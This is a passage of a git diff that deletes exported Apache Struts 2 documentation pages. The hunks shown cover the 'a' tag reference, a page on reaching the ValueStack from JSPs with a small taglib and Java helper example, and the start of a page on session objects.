 content/docs/tiles-3-plugin.html                   |  175 ---
 content/docs/tiles-plugin.html                     |  192 ----
 content/docs/tiles-use.html                        |  211 ----
 content/docs/timer-interceptor.html                |  189 ----
 content/docs/token-interceptor.html                |  217 ----
 content/docs/token-session-interceptor.html        |  202 ----
 content/docs/token.html                            |  173 ---
 content/docs/tree.html                             |  172 ---
 content/docs/treenode.html                         |  168 ---
 content/docs/tutorialend.html                      |  138 ---
 content/docs/tutoriallesson06.html                 |  389 -------
 content/docs/tutorials.html                        |  183 ---
 content/docs/type-conversion.html                  |  391 -------
 content/docs/typeconversion-annotation.html        |  216 ----
 content/docs/ui-tag-reference.html                 |  258 -----
 content/docs/ui-tags.html                          |  169 ---
 .../Screen-shot-2012-02-17-at-2.46.54-PM.png       |  Bin 19615 -> 0 bytes
 content/docs/unit-testing.html                     |  209 ----
 content/docs/unknown-handlers.html                 |  180 ---
 content/docs/updownselect.html                     |  200 ----
 content/docs/url-validator.html                    |  168 ---
 content/docs/url.html                              |  223 ----
 content/docs/urlvalidator-annotation.html          |  171 ---
 content/docs/use-cases.html                        |  187 ----
 content/docs/user-guide.html                       |  192 ----
 content/docs/using-checkboxes-editactionjava.html  |  213 ----
 content/docs/using-checkboxes-userjava.html        |  760 -------------
 .../docs/using-checkboxes-velocity-and-html.html   |  279 -----
 content/docs/using-checkboxes.html                 |  208 ----
 content/docs/using-field-validators.html           |  138 ---
 content/docs/using-freemarker-templates.html       |  439 --------
 ...up-an-eclipse-project-for-your-application.html |  160 ---
 content/docs/using-non-field-validators.html       |  138 ---
 .../docs/using-struts-2-tags.data/Struts-Form.png  |  Bin 30091 -> 0 bytes
 .../displaymessagestore.png                        |  Bin 19502 -> 0 bytes
 content/docs/using-struts-2-tags.html              |  263 -----
 ...g-struts-and-xwork-with-jsp-20-and-jstl-11.html |  337 ------
 content/docs/using-tags.data/HelloWorld.PNG        |  Bin 5020 -> 0 bytes
 content/docs/using-tags.data/Logon.PNG             |  Bin 8126 -> 0 bytes
 content/docs/using-tags.data/Welcome.PNG           |  Bin 7270 -> 0 bytes
 content/docs/using-tags.html                       |  354 ------
 content/docs/using-visitor-field-validator.html    |  138 ---
 content/docs/validating-input.html                 |  214 ----
 content/docs/validation-annotation.html            |  243 ----
 content/docs/validation-interceptor.html           |  231 ----
 content/docs/validation.html                       |  256 -----
 content/docs/validationparameter-annotation.html   |  176 ---
 content/docs/validations-annotation.html           |  200 ----
 content/docs/validatortypes.html                   |  138 ---
 content/docs/value-stack-internals.html            |  234 ----
 content/docs/velocity-result.html                  |  161 ---
 content/docs/velocity-tags.html                    |  177 ---
 content/docs/velocity.html                         |  228 ----
 content/docs/velocityproperties.html               |  160 ---
 content/docs/version-notes-210.html                |  206 ----
 content/docs/version-notes-211.html                |  207 ----
 content/docs/version-notes-212.html                |  207 ----
 content/docs/version-notes-213.html                |  218 ----
 content/docs/version-notes-214.html                |  218 ----
 content/docs/version-notes-215.html                |  216 ----
 content/docs/version-notes-216.html                |  216 ----
 content/docs/version-notes-217.html                |  208 ----
 content/docs/version-notes-218.html                |  200 ----
 content/docs/version-notes-2181.html               |  195 ----
 content/docs/version-notes-221.html                |  195 ----
 content/docs/version-notes-2211.html               |  202 ----
 content/docs/version-notes-223.html                |  204 ----
 content/docs/version-notes-2231.html               |  202 ----
 content/docs/version-notes-231.html                |  217 ----
 content/docs/version-notes-2311.html               |  202 ----
 content/docs/version-notes-2312.html               |  203 ----
 content/docs/version-notes-23120.html              |  202 ----
 content/docs/version-notes-2314.html               |  204 ----
 content/docs/version-notes-23141.html              |  204 ----
 content/docs/version-notes-23142.html              |  204 ----
 content/docs/version-notes-23143.html              |  204 ----
 content/docs/version-notes-2315.html               |  204 ----
 content/docs/version-notes-23151.html              |  204 ----
 content/docs/version-notes-23152.html              |  206 ----
 content/docs/version-notes-23153.html              |  206 ----
 content/docs/version-notes-2316.html               |  170 ---
 content/docs/version-notes-23161.html              |  170 ---
 content/docs/version-notes-23162.html              |  170 ---
 content/docs/version-notes-23163.html              |  170 ---
 content/docs/version-notes-2320.html               |  169 ---
 content/docs/version-notes-23201.html              |  169 ---
 content/docs/version-notes-23203.html              |  169 ---
 content/docs/version-notes-2324.html               |  198 ----
 content/docs/version-notes-23241.html              |  169 ---
 content/docs/version-notes-23243.html              |  169 ---
 content/docs/version-notes-2328.html               |  169 ---
 content/docs/version-notes-23281.html              |  169 ---
 content/docs/version-notes-2329.html               |  169 ---
 content/docs/version-notes-233.html                |  202 ----
 content/docs/version-notes-2330.html               |  169 ---
 content/docs/version-notes-2331.html               |  169 ---
 content/docs/version-notes-2332.html               |  169 ---
 content/docs/version-notes-2333.html               |  169 ---
 content/docs/version-notes-2334.html               |  169 ---
 content/docs/version-notes-234.html                |  202 ----
 content/docs/version-notes-2341.html               |  202 ----
 content/docs/version-notes-237.html                |  202 ----
 content/docs/version-notes-238.html                |  202 ----
 content/docs/version-notes-25.html                 |  169 ---
 content/docs/version-notes-251.html                |  169 ---
 content/docs/version-notes-2510.html               |  169 ---
 content/docs/version-notes-25101.html              |  169 ---
 content/docs/version-notes-2512.html               |  175 ---
 content/docs/version-notes-2513.html               |  169 ---
 content/docs/version-notes-252.html                |  169 ---
 content/docs/version-notes-255.html                |  169 ---
 content/docs/version-notes-258.html                |  169 ---
 content/docs/views.html                            |  178 ---
 content/docs/visitor-validator.html                |  193 ----
 content/docs/visitorfieldvalidator-annotation.html |  175 ---
 content/docs/weblogic-61.html                      |  203 ----
 content/docs/weblogic-81.html                      |  157 ---
 content/docs/weblogic.html                         |  218 ----
 content/docs/websphere.html                        |  274 -----
 content/docs/webwork-2-migration-strategies.html   |  201 ----
 content/docs/webxml.html                           |  204 ----
 ...t-are-some-of-the-frameworks-best-features.html |  150 ---
 ...e-the-default-variables-in-the-value-stack.html |  142 ---
 ...amental-differences-between-struts-and-jsf.html |  169 ---
 content/docs/what-is-the-actioncontext.html        |  209 ----
 ...do-we-get-the-latest-version-the-framework.html |  172 ---
 .../docs/which-portal-servers-are-supported.html   |  146 ---
 ...uest-parameters-appended-to-our-hyperlinks.html |  180 ---
 ...e-jstl-style-el-expressions-in-struts-tags.html |  138 ---
 ...get-executed-when-i-have-validation-errors.html |  161 ---
 ...axelelexception-when-using-ognl-with-jsp21.html |  167 ---
 ...e-form-tags-put-table-tags-around-controls.html |  193 ----
 ...r-in-my-user-directive-when-i-used-jsp-tag.html |  162 ---
 ...r-not-get-called-by-the-params-interceptor.html |  166 ---
 ...nore-my-message-when-its-enclosed-in-cdata.html |  173 ---
 ...doesnt-the-if-tag-evaluate-params-properly.html |  178 ---
 .../docs/why-doesnt-the-if-tag-evaluate-test.html  |  178 ---
 ...nput-when-the-form-is-filled-out-correctly.html |  144 ---
 content/docs/why-is-my-action-unavailable.html     |  144 ---
 ...rticular-object-with-a-particular-property.html |  164 ---
 ...snt-our-prepare-interceptor-being-executed.html |  166 ---
 ...wont-the-if-tag-evaluate-a-one-char-string.html |  180 ---
 ...tion-objects-from-the-spring-configuration.html |  142 ---
 content/docs/wildcard-mappings.html                |  316 ------
 .../Screen-shot-2010-05-30-at-8.51.40-AM.png       |  Bin 23189 -> 0 bytes
 content/docs/wildcard-method-selection.html        |  171 ---
 content/docs/writing-interceptors.html             |  232 ----
 content/docs/xhtml-form-template.html              |  232 ----
 content/docs/xhtml-head-template.html              |  160 ---
 content/docs/xhtml-theme.html                      |  195 ----
 content/docs/xsl-result.html                       |  160 ---
 content/docs/zero-configuration-scanning.html      |  175 ---
 content/docs/zero-configuration.html               |  231 ----
 724 files changed, 132084 deletions(-)

diff --git a/content/docs/a.html b/content/docs/a.html
deleted file mode 100644
index 5d81f53..0000000
--- a/content/docs/a.html
+++ /dev/null
@@ -1,163 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>a</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="tag-reference.html">Tag Reference</a>&nbsp;&gt;&nbsp;<a href="generic-tag-reference.html">Generic Tag Reference</a>&nbsp;&gt;&nbsp;<a href="a.html">a</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">a</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14027">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14027">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14027">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14027">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14027">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14027">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="a-Description">Description</h2>
-
-<plain-text-body>{snippet:id=javadoc|javadoc=true|url=org.apache.struts2.components.Anchor}</plain-text-body>
-<rich-text-body>
-<p>While this tag can be used with the <a shape="rect" href="simple-theme.html">simple theme</a>, <a shape="rect" href="xhtml-theme.html">xhtml theme</a>, and others, it is really designed to work best with the <a shape="rect" href="ajax-theme.html">ajax theme</a>. We recommend reading the <a shape="rect" href="ajax-a-template.html">ajax a template</a> documentation for more details.</p></rich-text-body>
-
-<h2 id="a-Parameters">Parameters</h2>
-
-<plain-text-body>{snippet:id=tagattributes|javadoc=false|url=struts2-tags/a.html}</plain-text-body>
-
-<h2 id="a-Usage">Usage</h2>
-
-<p>To get started, use the <a shape="rect" href="head.html">head</a> tag and the <a shape="rect" href="ajax-theme.html">ajax theme</a>. See <a shape="rect" href="ajax-head-template.html">ajax head template</a> for more information. Then look at the usage details for the <a shape="rect" href="ajax-a-template.html">ajax a template</a>.</p>
-
-<p>&#160;<br clear="none">
-If you want to use additional parameters in your s:a the best practice is to use a s:url to create your url and then leverage this url into your s:a tag. This is done by creating a s:url and specifying an id attribute.. like "testUrlId" in this example. Then in the s:a tag reference this id in the href attribute via " %{testUrlId}"</p>
-<parameter ac:name="">html</parameter><plain-text-body>
-&lt;s:url var="testUrlId" namespace="/subscriber" action="customField" method="delete"&gt;
-    &lt;s:param name="customFieldDefinition.id" value="${id}"/&gt;
-&lt;/s:url&gt;
-&lt;s:a errorText="Sorry your request had an error." preInvokeJS="confirm('Are you sure you want to delete this item?')" href="%{testUrlId}"&gt;
-    &lt;img src="&lt;s:url value="/images/delete.gif"/&gt;" border="none"/&gt;
-&lt;/s:a&gt;
-
-&lt;img xsrc="&lt;s:url value="/images/delete.gif"/&gt;" border="none"/&gt;&lt;s:a&gt;&lt;img xsrc="&lt;s:url value="/images/delete.gif"/&gt;" border="none"/&gt;&lt;/s:a&gt;
-</plain-text-body></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/access-to-valuestack-from-jsps.html b/content/docs/access-to-valuestack-from-jsps.html
deleted file mode 100644
index 33c13c3..0000000
--- a/content/docs/access-to-valuestack-from-jsps.html
+++ /dev/null
@@ -1,241 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Access to ValueStack from JSPs</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="jsp.html">JSP</a>&nbsp;&gt;&nbsp;<a href="access-to-valuestack-from-jsps.html">Access to ValueStack from JSPs</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Access to ValueStack from JSPs</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14315">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14315">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14315">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14315">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14315">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14315">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>To access the ValueStack from third-party JSP taglibs, expose property values to JSP using the <code>&lt;s:set</code> tag.</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Set a request scoped parameter 'a' to list of integers</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;s:set name="'a'" value="{ 1, 2, 3, 4 }" scope="request"/&gt;
-</pre>
-</div></div><p>After setting parameters, third-party JSP taglibs can access variables or use JSP 2.0 EL (Expression Language). This is convenient as short hand EL expression syntax<br clear="none"> <code>${expression</code>}</p><p>can be used in a text or inside of tag attributes:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">a[0] = ${a[0]}
-
-&lt;sample:tag value="${a[1]}"/&gt;
-</pre>
-</div></div><p>In practice, several variables must be exposed to make effective use of third party taglibs like <a shape="rect" class="external-link" href="http://displaytag.sourceforge.net/11/" rel="nofollow">DisplayTag</a>. Unfortunately, this approach leads to a lot of <code>&lt;ww:set/&gt;</code> tags.</p><div class="confluence-information-macro confluence-information-macro-note"><p class="title">Why can't we just replace EL with OGNL?</p><span class="aui-icon aui-icon-small aui-icon [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;%@ taglib uri="/WEB-INF/tld/wwel.tld" prefix="x" %&gt;
-
-a[0] = ${x:vs('a[0]')}
-a[0] * 4 = ${x:vs('a[0] * 4')}
-
-Current action name: ${x:name()}
-Top of ValueStack: ${x:top()}
-</pre>
-</div></div><p>To use this code you've got to add <code>wwel.tld</code> and <code>Functions.java</code> to your webapp project.</p><div class="confluence-information-macro confluence-information-macro-tip"><span class="aui-icon aui-icon-small aui-iconfont-approve confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>If someone were interested, it would be helpful for a developer (like you!) to define a set of functions that we could include in a futu [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;?xml version="1.0"?&gt;
-&lt;taglib xmlns="http://java.sun.com/xml/ns/j2ee"
-	xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-	xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-jsptaglibrary_2_0.xsd"
-	version="2.0"&gt;
-
-&lt;description&gt;
-This taglib enables access to the ValueStack
-from JSP 2.0 Expression Language
-&lt;/description&gt;
-
-&lt;tlib-version&gt;1.0&lt;/tlib-version&gt;
-
-&lt;short-name&gt;wwel&lt;/short-name&gt;
-
-&lt;function&gt;
-	&lt;name&gt;vs&lt;/name&gt;
-	&lt;function-class&gt;com.nmote.wwel.Functions&lt;/function-class&gt;
-	&lt;function-signature&gt;
-		java.lang.Object findOnValueStack(java.lang.String)
-	&lt;/function-signature&gt;
-&lt;/function&gt;
-
-&lt;function&gt;
-	&lt;name&gt;name&lt;/name&gt;
-	&lt;function-class&gt;com.nmote.wwel.Functions&lt;/function-class&gt;
-	&lt;function-signature&gt;
-		java.lang.Object getActionName()
-	&lt;/function-signature&gt;
-&lt;/function&gt;
-
-&lt;function&gt;
-	&lt;name&gt;top&lt;/name&gt;
-	&lt;function-class&gt;com.nmote.wwel.Functions&lt;/function-class&gt;
-	&lt;function-signature&gt;
-		java.lang.Object getTopOfValueStack()
-	&lt;/function-signature&gt;
-&lt;/function&gt;
-
-&lt;/taglib&gt;
-</pre>
-</div></div><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Functions.java</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">package com.nmote.wwel;
-
-import com.opensymphony.xwork.ActionContext;
-
-/**
- * Utility functions for accessing value stack and action context
- * from JSP 2.0 EL taglibs.
- */
-public class Functions {
-
-	public static Object findOnValueStack(String expr) {
-		ActionContext a = ActionContext.getContext();
-		Object value = a.getValueStack().findValue(expr);
-		return value;
-	}
-
-	public static Object getTopOfValueStack() {
-		ActionContext a = ActionContext.getContext();
-		Object value = a.getValueStack().peek();
-		return value;
-	}
-
-	public static Object getActionName() {
-		ActionContext a = ActionContext.getContext();
-		Object value = a.getName();
-		return value;
-	}
-}
-</pre>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/accessing-application-session-request-objects.html b/content/docs/accessing-application-session-request-objects.html
deleted file mode 100644
index c1be128..0000000
--- a/content/docs/accessing-application-session-request-objects.html
+++ /dev/null
@@ -1,201 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Accessing application, session, request objects</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="accessing-application-session-request-objects.html">Accessing application, session, request objects</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
